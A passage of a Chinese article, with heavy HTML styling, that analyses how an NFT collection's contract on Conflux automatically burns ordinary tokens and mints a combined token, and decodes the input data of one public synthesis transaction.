justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">自动销毁</span><span style="font-size: 14px;">”，隐藏款合成后，将仍会保存；</span></p><p><span style="font-size: 14px;">（2）合成是</span><span style="font-size: 14px;color: rgb(255, 0, 0);">自动完成</span><span style="font-size: 14px;">的：也就是说可以在持有者无感的情况下，自动持有者的普通藏品销毁，保留隐藏款，并向成功合成的用户 transfer 一个合成后的数字藏品。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.718609865470852" data-s="300,640" style="" data-type="png" data-w="892" src="https://wechat2rss.xlab.app/img-proxy/?k=a5e332c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicppy3r2FevwWhKhpAr0uHWTysljaxdDDs7SRMLTp0eYq61vcCrys5t1Dv0LempKL9MDYcneEIDc4wA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><h3 style="margin: 5px 10px;padding: 0px;font-weight: bold;font-size: 19.2px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;overflow-wrap: break-word !important;">二、安全问题：钱包资产的安全</h3><p><span style="font-size: 14px;">考虑到，在不掌握私钥的情况下，除私钥持有人外，任何区块链账户都不具备直接销毁用户资产的能力。因此，如果需要具备自动合成及销毁普通款藏品的能力，需要开发者在数字藏品的合约代码处</span><span style="font-size: 14px;color: rgb(255, 0, 0);">添加相关逻辑</span><span style="font-size: 14px;">：</span></p><p>    <span style="font-size: 14px;">（1）记录钱包内普通款藏品数据；</span></p><p>    <span style="font-size: 14px;">（2）对钱包内隐藏款藏品进行记录；</span></p><p>    <span style="font-size: 14px;">（3）调用 NFT 合约中提供的 burn 方法，将普通款藏品销毁；</span></p><p>    <span style="font-size: 14px;">（4）调用 NFT 合约中提供的 mint 方法，将 “合成” 的藏品发行，并转移至合成成功的用户钱包处。</span></p><p><span style="font-size: 14px;">当上述逻辑执行完成后，用户钱包内的资产将变为合成藏品（从零地址mint 出来并转移至用户钱包），而普通款藏品将消失（由于 burn 至零地址），隐藏款藏品保留（说明代码逻辑不会对隐藏款藏品调用 burn 方法）。这样，开发者就可以在不需要账户私钥的情况下，完成这一操作。<br/></span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;color: rgb(255, 0, 0);">从安全的角度来看，这一逻辑可以理解为是一种安全可控的后门</span><span style="font-size: 17px;">：在特定情况下触发，执行敏感操作（调用 burn 方法销毁一部分资产，调用 mint 方法增发合成后的数字藏品），在不滥用和误用的前提下，用户资产是安全的。</span><span style="font-size: 17px;color: rgb(0, 128, 255);">Code is Law，只要用户账户里存在15个或以上的普通藏品及2个或以上的隐藏款藏品，代码即默认认为用户愿意参与销毁15个普通藏品，消耗2个隐藏款藏品，并以此兑换一个合成后的数字资产的合成活动</span><span style="font-size: 17px;">。</span></p><p><span style="font-size: 17px;"><br/></span></p><h3 style="margin: 5px 10px;padding: 0px;font-weight: bold;font-size: 19.2px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;overflow-wrap: break-word !important;">三、交易行为分析：</h3><p style=""><span style="font-size: 14px;">区块链操作是不可篡改的，且所有的链上交互都是公开可查的，因此我们选取了一笔“合成”交易，进行行为分析。</span></p><p style=""><br/></p><p style=""><span style="font-size: 14px;color: rgb(255, 0, 0);">合成操作</span><span style="font-size: 14px;">对应的交易数据：</span></p><section style=""><span style="font-size: 14px;"><a href="https://www.confluxscan.net/transaction/0xed942a78a265a05c4e0647817918ce654bf6cba6a3512eb873404e4b4100080d" target="_blank">https://www.confluxscan.net/transaction/0xed942a78a265a05c4e0647817918ce654bf6cba6a3512eb873404e4b4100080d</a></span></section><section style=""><span style="font-size: 14px;"><br/></span></section><section style=""><span style="font-size: 14px;">行为分析如下所示：</span></section><section style=""><span style="font-size: 14px;">（1）cfx:aatgvya99cctj5kx0agh4b18czbav2m80adsrny7ah 是调用智能合约方法的账户，通过发送一笔合约交互的交易，这笔交易可以理解为触发智能合约按照特定代码逻辑执行操作的激励（通过发送区块链交易，调用智能合约特定方法）。</span></section><section style=""><span style="font-size: 14px;">（2）cfx:acgzemzu90x4zjku12f6v05kr8f832j6t6esp9jk62 为被调用的智能合约，在智能合约部署的那一刻，该智能合约的逻辑及执行行为将无法被任何人篡改。</span></section><section style=""><span style="font-size: 14px;">（3）由于每一个数字藏品都对应于区块链上的一个 Token ，在进行 Token 转移时，相关行为将被区块链所记录，通过下图我们可以发现， ID 为6422,6805,7086,7190的数字藏品（截图未截全，只显示了4个转移操作，而实际上该地址一共转出了15个藏品到零地址）直接转移至零地址，实现销毁。而智能合约会向合成成功的用户转移 ID 为8196的新数字藏品（即合成款数字藏品）。<br/></span></section><section><br/></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.30618892508143325" data-s="300,640" style="" data-type="png" data-w="1842" src="https://wechat2rss.xlab.app/img-proxy/?k=6b803d8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicppy3r2FevwWhKhpAr0uHWTyVv9CFAZnCOicIiccXpTKWz3E7o9UZ8UQEribJKbaA5ibWWh3fATa6nksPw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=""><span style="font-size: 14px;">调用智能合约的输入数据</span><span style="font-size: 14px;color: rgb(255, 0, 0);">经解码为 JSON 格式数据</span><span style="font-size: 14px;">处理后如下所示：</span><br/></p><p style=""><br/></p><p style=""><span style="font-size: 14px;color: rgb(255, 76, 0);">需要读者提前知晓的知识：（1）普通款数字藏品为图片格式；（2）隐藏款数字藏品为视频格式；（3）Conflux 网络有一套自有的地址转义规则，具体可参考如下链接：</span></p><p style=""><span style="font-size: 14px;color: rgb(255, 76, 0);">                                <a href="https://www.confluxscan.net/address-converter" target="_blank">https://www.confluxscan.net/address-converter</a></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    &#34;name&#34;: &#34;chill__exchange&#34;,</span></code><code><span class="code-snippet_outer">    &#34;fullName&#34;: &#34;chill__exchange((address,uint256[],uint256[])[] infos, uint256 numImagesForReward, uint256 numVideosForReward)&#34;,</span></code><code><span class="code-snippet_outer">    &#34;type&#34;: &#34;chill__exchange((address,uint256[],uint256[])[],uint256,uint256)&#34;,</span></code><code><span class="code-snippet_outer">    &#34;signature&#34;: &#34;0xd8722bd1&#34;,</span></code><code><span class="code-snippet_outer">    &#34;array&#34;: [</span></code><code><span class="code-snippet_outer">        [</span></code><code><span class="code-snippet_outer">            [</span></code><code><span class="code-snippet_outer">                &#34;0x1fbe2923d9e514d20b049cfb02e7f0c7e6ea3e81&#34;,</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;456&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;733&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2194&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2950&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;3900&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4048&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4273&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4317&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4784&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5201&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5231&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5436&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5475&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6162&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6389&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6728&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6833&#34;</span></code><code><span class="code-snippet_outer">                ],</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;7325&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;7898&#34;</span></code><code><span class="code-snippet_outer">                ]</span></code><code><span class="code-snippet_outer">            ],</span></code><code><span class="code-snippet_outer">            [</span></code><code><span class="code-snippet_outer">                &#34;0x18d5eaf71aa697583c0e64fe49f2c8a29cd161f6&#34;,</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;474&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;799&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;1126&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;1583&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2300&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2478&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;3292&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;3342&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4013&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4016&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5003&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5177&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5257&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5813&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6016&#34;</span></code><code><span class="code-snippet_outer">                ],</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;7298&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;7305&#34;</span></code><code><span class="code-snippet_outer">                ]</span></code><code><span class="code-snippet_outer">            ],</span></code><code><span class="code-snippet_outer">            [</span></code><code><span class="code-snippet_outer">                &#34;0x18b1edd5ae736ff9338f09d456499bef420dff04&#34;,</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;478&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;569&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;1217&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;1757&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2411&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2777&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;3291&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4731&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6017&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6095&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6413&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6422&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6805&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;7086&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;7190&#34;</span></code><code><span class="code-snippet_outer">                ],</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;7237&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;7495&#34;</span></code><code><span class="code-snippet_outer">                ]</span></code><code><span class="code-snippet_outer">            ]</span></code><code><span class="code-snippet_outer">        ],</span></code><code><span class="code-snippet_outer">        &#34;15&#34;,</span></code><code><span class="code-snippet_outer">        &#34;2&#34;</span></code><code><span class="code-snippet_outer">    ],</span></code><code><span class="code-snippet_outer">    &#34;object&#34;: {</span></code><code><span class="code-snippet_outer">        &#34;infos&#34;: [</span></code><code><span class="code-snippet_outer">            [</span></code><code><span class="code-snippet_outer">                &#34;0x1fbe2923d9e514d20b049cfb02e7f0c7e6ea3e81&#34;,</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;456&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;733&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2194&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2950&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;3900&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4048&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4273&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4317&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4784&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5201&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5231&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5436&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5475&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6162&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6389&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6728&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6833&#34;</span></code><code><span class="code-snippet_outer">                ],</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;7325&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;7898&#34;</span></code><code><span class="code-snippet_outer">                ]</span></code><code><span class="code-snippet_outer">            ],</span></code><code><span class="code-snippet_outer">            [</span></code><code><span class="code-snippet_outer">                &#34;0x18d5eaf71aa697583c0e64fe49f2c8a29cd161f6&#34;,</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;474&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;799&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;1126&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;1583&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2300&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2478&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;3292&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;3342&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4013&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4016&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5003&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5177&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5257&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;5813&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6016&#34;</span></code><code><span class="code-snippet_outer">                ],</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;7298&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;7305&#34;</span></code><code><span class="code-snippet_outer">                ]</span></code><code><span class="code-snippet_outer">            ],</span></code><code><span class="code-snippet_outer">            [</span></code><code><span class="code-snippet_outer">                &#34;0x18b1edd5ae736ff9338f09d456499bef420dff04&#34;,</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;478&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;569&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;1217&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;1757&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2411&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;2777&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;3291&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;4731&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6017&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6095&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6413&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6422&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;6805&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;7086&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;7190&#34;</span></code><code><span class="code-snippet_outer">                ],</span></code><code><span class="code-snippet_outer">                [</span></code><code><span class="code-snippet_outer">                    &#34;7237&#34;,</span></code><code><span class="code-snippet_outer">                    &#34;7495&#34;</span></code><code><span class="code-snippet_outer">                ]</span></code><code><span class="code-snippet_outer">            ]</span></code><code><span class="code-snippet_outer">        ],</span></code><code><span class="code-snippet_outer">        &#34;numImagesForReward&#34;: &#34;15&#34;,</span></code><code><span class="code-snippet_outer">        &#34;numVideosForReward&#34;: &#34;2&#34;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 14px;">不难发现，<span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">cfx:aatgvya99cctj5kx0agh4b18czbav2m80adsrny7ah 账户通过发送交易调用了智能合约提供的 <span style="white-space: pre-wrap;color: rgb(221, 17, 68);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgba(0, 0, 0, 0.03);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">chill__exchange </span></span></span><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">方法。该方法对应的方法 ID 为 <span style="white-space: pre-wrap;color: rgb(221, 17, 68);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgba(0, 0, 0, 0.03);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">0xd8722bd1 </span>。调用该方法需要指定参数列表：(address,uint256[],uint256[])[] infos, uint256 numImagesForReward, uint256 numVideosForReward)，参数列表中包含 address 类型变量及两个 uint256 类型变量组成的二维数组 infos, uint256 类型变量 <span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">numImagesForReward 以及 <span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">uint256 类型变量 <span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">numVideosForReward。</span></span></span></span><br/></p><p><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><br/></span></p><p><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">通过后续阅读代码：能够理解传入的参数内容，以 0x 开头的账户，即为待进行合成操作的地址：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 104, 39);display: inline !important;">0x18b1edd5ae736ff9338f09d456499bef420dff04</span><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">。478,569,1217,...,7190 为普通款数字藏品对应的 ID 编号。7237,7495 为隐藏款数字藏品对应的 ID 编号。</span><span style="white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 104, 39);display: inline !important;">numImagesForReward </span><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">参数 15 则代表合成需要的普通款数字藏品数量为15，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 104, 39);display: inline !important;">numVideosForReward </span><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">参数为 2 则代表合成需要的隐藏款数字藏品数量为2。（很重要，与最后合成时的 while 循环条件有关）</span></p><p><br/></p><p><span style="color: rgb(255, 104, 39);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">0x18b1edd5ae736ff9338f09d456499bef420dff04 </span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: 